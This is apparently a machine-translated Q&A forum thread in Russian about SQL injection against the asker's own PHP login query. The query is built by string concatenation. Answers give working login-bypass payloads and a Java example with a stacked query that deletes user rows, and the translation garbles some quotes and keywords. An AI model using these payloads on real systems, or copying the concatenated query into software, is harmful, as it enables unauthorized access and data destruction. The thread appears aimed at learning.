$sql_checkpasswd = "SELECT user_id, username, user_password, user_active
FROM " . USERS_TABLE . "WHERE username = '" . $username . "'" . " AND user_password = '" . md5($password). "'";
Выше, как написан мой PHP-код. Это для страницы входа.
Как использовать технику sql для входа в систему, не зная пароля?
Спасибо
Я перепробовал все возможные комбинации
‘ИЛИ’ 1 = 1 ‘
‘ИЛИ’ 1 = 1 ‘-
админ); #
и все обычное.
Ошибка для одного из запросов: http://prntscr.com/53bmv8
P .: Я потратил много времени на изучение предмета и попробовал много разных методов, поэтому я публикую этот вопрос, чтобы получить некоторую помощь. Я новичок в инъекции sql.
Я наконец понял это, мог бы помочь кому-то еще с тем же вопросом:
Введите это в поле имени пользователя:
admin' AND 1=1 or '1'='1
Над именем пользователя работает нормально, мне не нужно вводить пароль и могу оставить его пустым, так как запрос становится
$username= admin' AND 1=1 OR '1'='1 AND $password = anything
Даже если в вышеупомянутом запросе выполняется одно условие, я получаю доступ, а часть имени пользователя True
поскольку 1=1
AND admin — это существующее имя пользователя
Попробуйте следующий ввод:
' OR '1=1' LIMIT 1 --
включая пробел после --
который не появляется здесь, по некоторым причинам.
Я копирую пример, который, надеюсь, поможет вам
Java Original: «SELECT * FROM users_table WHERE username =» + «’ »+ username +« ’» + «И пароль =« + «’ »+ пароль +« ’»;
•Вставленный пароль: Aa ’ИЛИ‘ ’=’
•Результат Java: «SELECT * FROM users_table WHERE username =’ anyname ’и пароль =‘ Aa ’OR‘ ‘=‘ ‘;
•Вставленный пароль: foo ’; DELETE FROM users_table WHERE имя пользователя LIKE‘%
•Результат Java: «SELECT * FROM users_table WHERE username =« anyname »И пароль =« foo »; DELETE FROM users_table WHERE username LIKE ‘%’